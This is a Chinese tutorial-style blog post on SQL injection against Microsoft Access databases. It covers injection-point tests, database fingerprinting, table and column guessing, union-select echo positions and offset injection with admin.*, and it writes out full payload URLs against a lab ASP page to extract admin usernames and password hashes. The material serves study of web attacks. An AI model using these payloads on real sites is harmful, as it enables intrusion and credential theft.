当前位置: 首页 > news >正文

WEB攻防-通用漏洞SQL注入-ACCESS一般注入与偏移注入

ACCESS数据库

Access数据库是Microsoft Office套件中一款小型关系型数据库管理系统

  1. 单个数据库文件:Access数据库通常以一个单独的文件形式存在(如.accdb或旧版本的.mdb文件),这个文件包含了数据库的所有对象,如表、字段等。每个Access数据库文件都是独立的,互不影响。
  2. 独立运行:当打开Access数据库时,实际上是在打开一个独立的数据库环境,该环境仅包含当前数据库文件中的数据和对象。

一般注入流程

案例:

1、判断注入点

符号报错:因为引号,括号是成对出现的,如果少了或者多了都会报错,或者类型错误报错

逻辑型:比如在原sql语句拼接判断语句 and 1=1,因为为true正常返回, and 1=2为false返回错误

 

变量运算:如id=1513,传入id=1514-1也能正常访问原页面

 

2、判断数据库类型

msysobjects是access的默认数据表
sysobjects是sqlserver的默认数据表

 通过判断是否存在以上数据库确定是access还是sqlserver

and exsits (select * from msysobjects)>0 -- access
and exsits (select * from sysobjects)>0 -- sqlserver

返回没有读取权限则代表该表存在

返回名称是否正确则代表该表不存在

从上可以看出该数据库为Access

3、爆破表名

返回正常则代表存在表

 and  exists (select * from admin)

4、 判断当前查询到几列

使用order by n,能够返回正常页面的最大值n则为n个字段,如oeder by22正常,order by23错误,则该查询有22个字段

5、查询回显位

使用union select 1,2,3...n from 表名,n为上面order by查询到的字段数

如:http://192.168.10.133:88/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

 6、在对应的回显位猜字段名

同样的存在则返回正常,使用字典爆破

and exists (select admin from admin)      
and exists (select password from admin)  

 7、回显数据

把爆破到的字段替换到回显位,就可以获得一条数据,如该案例的3和15

http://192.168.10.133:88/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

偏移注入

应用在知道表名,不知道列名的情况

同样的使用union select来做,不同的是不需要知道列名,而是通过偏移爆出数据,但前提是查询的表必须比当前查询到的列数小,如该案例在上文中查询到22列,则如果要查询admin表的列数必须比当前查询的22列的列数少,因为要把查询到表塞进当前查询到列中,不理解往下看例子

 假设当前查询列位12(即order by获取到的列数),需要查询的表admin有4列
http://192.168.10.133:88/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin

 假设admin长度不知道,需要一个一个往前推,admin.*代表到是admin表所有字段,当admin.*替代几个回显位就代表admin有几个字段

union select 1,2,3,4,5,6,7,8,9,10,11,admin.* from admin  --回显错误

union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin --回显错误

union select 1,2,3,4,5,6,7,8,9,admin.* from admin --回显错误

union select 1,2,3,4,5,6,7,8,admin.* from admin  --回显正常

 假设7为回显位,需要在这爆出信息,就需要把admin.*向前位移,并向后往前补位

union select 1,2,3,4,5,6,admin.*,11,12 from admin

 从图可以看出1会替换7回显

如果想得到第二位来替换回显位7,则继续admin.*向前位移,并向后往前补位

union select 1,2,3,4,5,admin.*,10,11,12 from admin

回到案例

http://192.168.10.133:88/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin

在偏移6位之后回显正常,则知道admin有6列 ,而3和15是回显位,这里选择使用15回显

http://192.168.10.133:88/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,admin.*,21,22 from admin

得到的应该是id字段数据39

 

继续向前偏移

http://192.168.10.133:88/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.*,20,21,22 from admin

得到的应该是用户名admin

 

继续偏移

http://192.168.10.133:88/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,19,20,21,22 from admin

得到的应该是加密的密码

 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【Scrapy】深入了解 Scrapy 中间件中的 process_spider_output 方法
  • Android 注解的语法原理和使用方法
  • 软设之代理模式
  • 【国内超大型智能算力中心建设白皮书 2024】_智算中心算力规划
  • lodop使用教程---ivx
  • docker 基础命令
  • 免费听书TV版v1.0.1
  • 31. 1049. 最后一块石头的重量 II, 494.目标和,474.一和零
  • 问题清除指南|Dell OptiPlex 7070 升级 win11 开启 TPM 2.0 教程
  • c#的几种通信
  • MybatisPlus 一些技巧
  • 透明加密软件哪个好?这5款好用的加密软件尽在你眼前!
  • InspireFace-商用级的跨平台开源人脸分析SDK
  • Spring框架:核心概念与Spring Boot微服务开发指南
  • 地理信息科学在交通规划中的应用:GIS绘制智慧出行新蓝图
  • 【跃迁之路】【519天】程序员高效学习方法论探索系列(实验阶段276-2018.07.09)...
  • FastReport在线报表设计器工作原理
  • HashMap ConcurrentHashMap
  • Java读取Properties文件的六种方法
  • PHP变量
  • Solarized Scheme
  • supervisor 永不挂掉的进程 安装以及使用
  • Unix命令
  • 等保2.0 | 几维安全发布等保检测、等保加固专版 加速企业等保合规
  • 缓存与缓冲
  • 前端技术周刊 2019-01-14:客户端存储
  • 如何合理的规划jvm性能调优
  • 微信开源mars源码分析1—上层samples分析
  • 微信小程序实战练习(仿五洲到家微信版)
  • 用mpvue开发微信小程序
  • 06-01 点餐小程序前台界面搭建
  • 说说我为什么看好Spring Cloud Alibaba
  • 曜石科技宣布获得千万级天使轮投资,全方面布局电竞产业链 ...
  • ​​​​​​​GitLab 之 GitLab-Runner 安装,配置与问题汇总
  • ​​​​​​​Installing ROS on the Raspberry Pi
  • ​iOS实时查看App运行日志
  • ​LeetCode解法汇总307. 区域和检索 - 数组可修改
  • ​数据结构之初始二叉树(3)
  • # linux 中使用 visudo 命令,怎么保存退出?
  • ###C语言程序设计-----C语言学习(3)#
  • #Z0458. 树的中心2
  • #周末课堂# 【Linux + JVM + Mysql高级性能优化班】(火热报名中~~~)
  • ( )的作用是将计算机中的信息传送给用户,计算机应用基础 吉大15春学期《计算机应用基础》在线作业二及答案...
  • (1)Android开发优化---------UI优化
  • (DFS + 剪枝)【洛谷P1731】 [NOI1999] 生日蛋糕
  • (板子)A* astar算法,AcWing第k短路+八数码 带注释
  • (层次遍历)104. 二叉树的最大深度
  • (二十五)admin-boot项目之集成消息队列Rabbitmq
  • (附源码)ssm码农论坛 毕业设计 231126
  • (十)Flink Table API 和 SQL 基本概念
  • (学习日记)2024.03.12:UCOSIII第十四节:时基列表
  • (一)基于IDEA的JAVA基础12
  • .gitignore文件设置了忽略但不生效
  • .halo勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .NET gRPC 和RESTful简单对比